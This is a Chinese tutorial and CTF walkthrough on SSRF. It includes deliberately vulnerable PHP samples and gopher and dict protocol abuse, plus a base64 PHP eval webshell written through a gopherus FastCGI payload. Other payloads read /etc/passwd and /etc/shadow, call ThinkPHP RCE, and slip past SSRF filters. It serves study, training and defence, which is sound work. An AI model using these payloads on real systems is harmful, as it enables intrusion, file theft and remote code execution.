SSRF服务器请求伪造
漏洞扫描
SSRF,服务端请求伪造,时一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况系啊ssrf攻击的目标是从外网无法访问到的内部系统(正因为它是由服务端发起的,所以它能够请求到与自身相连而与外网隔离的内部系统)
漏洞原理
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对服务器目标地址做过过滤与限制,用户对目标地址可控.
例如,操作服务端从指定url地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造.
ssrf利用存在缺陷的web应用作为代理攻击远程和本地的服务器
主要利用如下表示;
对外网服务器所在内网,本地进行端口扫描,获取一些服务的banner信息.
攻击运行在内网或本地的应用程序.
对内网web应用进行指纹识别,是被企业内部的资产信息
攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击(比如 struts2,SQli等)
利用file协议读取本地文件,利用gopher协议做更多的操作等.
1.对内网主机进行端口探测,服务识别
2.攻击内网的应用程序或者web应用
3.去探测内网web应用的指纹信息
4.通过http 或者gopher协议发起http请求.
5.读取本地文件
漏洞分类
显示对攻击者的响应(Basic)
它显示对攻击者的响应,因此在服务器获取攻击者要求请求的URL后,他将会把响应发送回攻击者.返回结果到客户端,返回这个网站的界面或对应的HTML代码
不显示响应(Blind)
如上面,真好相反,不会返回结果到客户端.当您从未从初次请求中获取有关目标服务端任何信息时,就会发生这种ssrf.通常,攻击者将会提供url,但是该url中的数据将永远不会返回给攻击者.要在这种情况下确认漏洞.攻击者必须使用Buro,DNSLOG等类似攻击.这些工具可以通过强制服务器向攻击者控制的服务器发出dns或http请求来确认服务器是易受攻击的.这种srf通常易于验证,但是难以利用.
漏洞函数
SSRF漏洞可能会产生在任何语言编写的应用中,这里介绍php中可能会存在ssrf漏洞的函数
file_get_contents(), fsockopen(), curl_exec()
file_get_contents(): 将整个文件或一个url指向的文件,以字符串的性质展示给用户
file_get_contents()
1.我们对服务器发情请求的参数是可控的
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>提交</title>
</head>
<body>
<form action="./file_get_contents.php" method="GET" style="text-align:center;">
<p>Submit URL</p>
<p><input type="text" name="url" width="400px"></p>
<input type="submit" name="submit">
</form>
</body>
</html>
<?php
if(isset($_GET['url'])) # isset判断有没有设置
{
$content=file_get_contents($_GET['url']);
$filename='./images/'.rand().'.jpg';\ # 生成一个我呢见名
file_put_contents($filename,$content); # 将文件保存到本地
echo $_GET['url'];
$img="<img src=\"".$filename."\"/>";
}
echo @$img;
?>
#https://www.baidu.com/favicon.ico
代码分析:
isset函数是判断有没有提交url;
第一行$content变量将远程url中的内容保存到content变量中
第二行随机生成一个文件路径
第三行获取了远程的内容后将其写到新的文件中
第四行输出url
第五行将保存的文件名保存到标签中
curl_exec()
curl_exec():对远程的url发起请求访问,并将请求的结果返回至前端页面
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>提交</title>
</head>
<body>
<form action="./curl_exec.php" method="GET" style="text-align:center;">
<p>Submit URL</p>
<p><input type="text" name="url" width="400px"></p>
<input type="submit" name="submit">
</form>
</body>
</html>
<?php
//利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透,接下来也主要是集中讲对于curl()函数
的利用方式
function curl($url){
$ch = curl_init(); // 初始化curl连接句柄
curl_setopt($ch, CURLOPT_URL, $url); //设置连接URL
curl_setopt($ch, CURLOPT_HEADER, 0); // 不输出头文件的信息
curl_exec($ch); // 执行获取结果
curl_close($ch); // 关闭curl连接句柄
}
$url = @$_GET['url'];
curl($url);
?>
fsockopen()
fsockopen():使用该函数实现获取用户指定url的数据(文件或者html);该函数会使用socket跟服务器建立tcp连接,进行传输原始数据
//fsockopen()函数本身就是打开一个网络连接或者Unix套接字连接
<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
以上三个函数都是 当有URL或者ip地址传递到函数中时,都会主动与IP/URL建立连接发送请求
攻击方式
主要攻击方式如下所示:
1.对外网服务器所在的内网/本机进行主机扫描,端口扫描,服务探测
2.攻击运行在内网或本地的应用程序
3.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如 struts2,sqli,thinkphp等)
4利用file协议读取服务器文件
5各个协议调用探针:http,file,dict,gopher等
漏洞探测
有回显类型:输入指定地址,如果将指定url内容获取到了那么也存在ssrf
无回显类型:输入dnslog地址,如果dnslog地址有解析记录及代码存在ssrf
1.服务器回去其他服务器获取资源
2.我们对获取资源的服务器地址是可控的
1.服务器提供了从其他服务器获取数据的功能
2.其他服务器的地址是我们可控的
3.没有过滤
SSRF漏洞攻击
ssrf支持很多协议所以漏洞利用的方式也有很多的
http:// -->通过http协议访问内网主机web服务,或发送get请求数据包
file:// -->本地文件传输协议,主要用于访问
dict:// -->字典服务器协议,dict是基于查询响应的tcp协议
gopher:// -->互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前
sftp:// -->安全文件传输协议
ldap:// -->轻量级目录访问协议.它是IP网络上的一种用于管理和访问分布式目录服务的应用程序协议
tftp:// -->基于lockstep机制的文件传输协议 允许客户端从远程主机获取文件或将文件上传至远程主机
HTTP协议
能运行内网端口探测-可通过返回的事件和长度判断端口是否开放/与web站点访问
http://127.0.0.1/Testing/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
http://127.0.0.1/Testing/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306
file协议
伪协议,读取敏感的文件信息
liunx的网站目录 /var/www/html/
/var/logs/httpd/access.log error.log
/var/logs/Nginx/access.log error.log
file:///var/logs/httpd/access.log
file:///etc/passwd liunx用户基本配置信息
file:///c:/windows/win.ini windows系统基本配置信息
file:///etc/shadow liunx用户密码等敏感信息(一般需要root用户才能查看 web服务用户一般没有权限查看)
file:///etc/hosts 查看内网地址段
dict协议
内网服务探测(dict伪协议)
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是ssrf中如果可以使用dict协议那么就可以获取目标服务器端口上运行的服务版本等信息.
dict://127.0.0.1:3306 探测mysql服务
dict://127.0.0.1:22 探测ssh服务
dict://127.0.0.1:6379 探测redis服务
dict://127.0.0.1:1433 探测sql server服务
通过响应时间判断端口开放
Gopher协议
Gopher协议是比http协议更早出现的协议,现在已经不常使用了,但是在ssrf漏洞中利用gopher协议发送各种格式的请求包,这样便可以解决漏洞点不在GET参数的问题.所有web服务器都支持gopher协议
#Gopher协议格式
gopher://<host>:<port>/<gopher-path>_TCP数据流
#原HTTP请求
GET /?name=Margin HTTP/1.1
Host:127.0.0.1:80
name=zhangsan1
#gopher请求
opher://127.0.0.1:80/_POST%2520/%2520HTTP/1.1%250D%250AContentType:%2520application/json%250D%250AHost:%2520www.example.com%250D%250A%250D%250A%257B%2522key %2522:%2520%2522value%2522%257D
注意:由于Gopher协议的特殊格式,在ssrf利用gopher攻击目标时,需要对数据包两次url编码
1.第一次url将url中的特殊字符进行转义,比便于传输和解析.
2.第二次编码是为了让gopher协议能够正常解析,因为gopher协议使用的ascii编码,需要将url中所有字符都转换未ascii码的可打印字符,才能被gopher协议正确解析.
发送Gopher协议时,我们需要注意,(空格、换行符)URL编码,第二次编码前,我们需要将第一次编码后的换 行符%0a替换成%0d%0a,在代码最后也需要添加一个%0d%0a (因为http协议中换行符是%0d%0a,编码器会编码 成%0a)。
%20 = 空格
%0d%0a = 换行
%27 = '
%2f = /
数据包最后需要加上换行 第一次编码URL编码会将换行符编码成%0a --> %0d%0a
为什么gopher发送请求需要进行二次编码
gopher --> 中间件接收(URL解码一次) --> gopher(url还会在解码一次)
第一次是为了让中间件理解解码
第二次是为了能够让gopher正常处理
发送GET报文
#原数据包
POST /HTTP1.1
Host:127.0.0.1:8
username=admin' and sleep(5) #&password=123456
#转换未gopher数据包
gopher://127.0.0.1:80/_GET /?name=Margin/1.1
Host:127.0.0.1
#第一次url编码
gopher://127.0.0.1:80/_GET%20/?name%3DMargin%20HTTP/1.1%0D%0AHost%
3A%20127.0.0.1%0D%0A%0D%0A
# 将%0A替换为%0D%0A接着第二次URL编码
# 第二次URL编码后
gopher://127.0.0.1:80/_GET%2520/?name%253DMargin%2520HTTP/1.1%250D
%250AHost%253A%2520127.0.0.1%250D%250A%250D%250A
ps:"_"为连接符,设置为任意字符,在传递后会被自动丢弃掉.
python脚本转换
# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
PS: POST转换直接使用脚本转换即可
SSRF支持的协议
# ftp
ssrf.php?url=ftp://evil.com:12345/TEST
# file://
ssrf.php?url=file:///etc/password
# Dict://
dict://<user-auth>@<host>:<port>:/d:<word>
ssrf.php?url=dict://attacker:11111/
# SFTP://
ssrf.php?url=sftp://example.com:11111/
# TFTP://
ssrf.php?url=tftp://example.com:12346/testudppacket
# LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
# Gopher://
ssrf.php?url=gopher://127.0.0.1:3306
SSRF漏洞攻击内网访问
http://challenge-0b7ece34b167abc1.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
伪协议读取文件
http://challenge-8d412e76d5697843.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
端口扫描
http://challenge-91fc189972236c72.sandbox.ctfhub.com:10800/?url=_
通过Burp扫描8000-9000的端口开放的web服务
发现8279开放web服务
http://challenge-91fc189972236c72.sandbox.ctfhub.com:10800/?url=http://127.0.0.1:8279
探测主机存货
192.168.174.0/24
dict://192.168.174.0-255
去爆破常见端口 windows 445 139 3389
liunx 22 3306 80
POST请求
题目介绍:这次时发一个http post气你过去,对了ssrf是用php的curl实现的,并且会跟踪302跳转
1.通过file伪协议读取flag.php
http://challenge-276704452dc8b99a.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
需要从内部携带key发送post数据包即可获得flag
POST /flag.php HTTP/1.1
HOST:127.0.0.1
key=c6d2f998e047faad7d154d0e922d7fcf
2.访问flag.php 发现key值并结合题目,需要我们使用gopher协议通过post方式,将key提交到flag.php文件中,不过需要从127.0.0.1:80发送数据
3.构造post请求数据包,并使用工具进行url编码(手动构造http请求包,对其进行编码,将其中%0A替换为%0d%0a 并且在末尾加上%0d%0a)
4.发哦是那个gopher请求
文件上传
1.通过file协议访问flag.php文件内容
file:///var/www/html
发现需要从内部上传一个文件这样才能正常获取flag
2.访问flag.php
http://127.0.0.1/flag.php
3.构造上传按钮
<input type="submit">
4.上传文件抓取数据包
5.通过gopher协议发送提交
协议
fastcgi : 当客户端请求的是index.php,根据配置文件 web server辨别不是静态文件,此时中间键就会请求转发给php解析器来处理
客户端请求静态网站--->中间件直接处理返回
客户端请求脚本文件php jsp ---> 中间件判断用户请求的文件类型--->通过fastcgi将请求文件提交给php-fpm(解析器)进行处理--->调用数据库数据--->返回数据库数据--->返回数据到中间件--->客户端
利用脚本
python gopherus.py --exploit fastcgi
/var/www/html/index.php #这里输入的是一个已知存在的php文件
echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > /var/www/html/shell.php #密码 cmd
#生成出来的payload再进行一次url编码
redis低版本默认存在漏洞 (未授权访问) 也不需要权限校验即可进入到redis执行redis命令 r
edis命令中有几条命令可以写入文件到服务器中
redis未授权访问getshell的方式
1. 写入计划任务(反弹shell)
2. 写入webshell到对方网站目录
3. 写入SSH公钥进行免密连接
攻击内网Tinkphp
http://192.168.10.40/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
为什么将上面这段话放置下框就能执行系统命令?
1.因为我们发现10.40机器使用了thinkphp框架
2.该框架存在Nday RCE
3.我们借助SSRF向内网10.40发送thinkphp RCE漏洞 payload执行系统命令
SSRF漏洞绕过
常见限制
#限制伪http://www.百度.com域名
采用http基本身份认证的方式绕过,即@
http://www.baidu.com@www.xxc.com
#限制请求IP不为内网地址
当不允许IP为内网地址时
1.采用短网址绕过
2.采取特殊域名
3.采取进制转换
#限制请求只为http协议
1.采取302跳转
2.采取短地址
绕过方法
# "@"
http://abc@127.0.0.1
实际上是以用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080, http://127.0.0.1#8.8.8.8
在对@ 解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在php中parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com
#"[::]"
可以利用[: :]来绕过localhost
http://[: :]:80/ >>> http://127.0.0.1
#添加端口号
http://127.0.0.1:8080
#利用端地址
站长工具短地址/百度短网址
https://urlc.net/cn/
# 利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
# 利用DNS解析
在域名上设置A记录,指向127.0.0.1
# 利用进制转换
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
# 句号
127。0。0。1 >>> 127.0.0.1
# 利用30X重定向
使用https://tinyurl.com生成302跳转地址
https://urlc.net/cn/
# URL十六进制编码
URL十六进制编码可被浏览器正常识别,编码脚本
利用30x重定向
可以利用重定向来让服务器范围跟目标地址,可用于重定向的http状态码:300,301,302,303,305,307,308.
需要一个vps,把302转换的代码部署到vps上,任何去访问,就可跳转到内网中
URL Bypass
http://www.baidu.com@192.168.174.1与http://192.168.174.1 请求都是192.168.174.1的内容
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
这次ban掉了127以及172,不能使用点分十进制的IP了.但是又要访问127.0.0.1 该怎么办呢
进制转换网站: https://www.bchrt.com/tools/ip-to-hex-converter/
?url=http://0x7f000001/flag.php
302跳转Bypass
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的 flag.php吧
https://385rp52673.oicp.vip/ssrf_302.php
SSRF漏洞防御方案
过滤返回信息,验证远程服务器对请求的响应是比较容易地方法.如果web应用是去获取某一种类型地文件.那么在把返回结果展示给用户之前先验证返回地信息是否符合标准
禁用不需要地协议,仅仅允许http和https请求.可以放置类似于file://,gopher://,ftp://等引起地问题;
设置url白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
限制请求地端口为http常用地端口 比如 80,443,8080,8090;
统一错误信息,避免用户可以根据错误信息来判断远端服务器地端口状态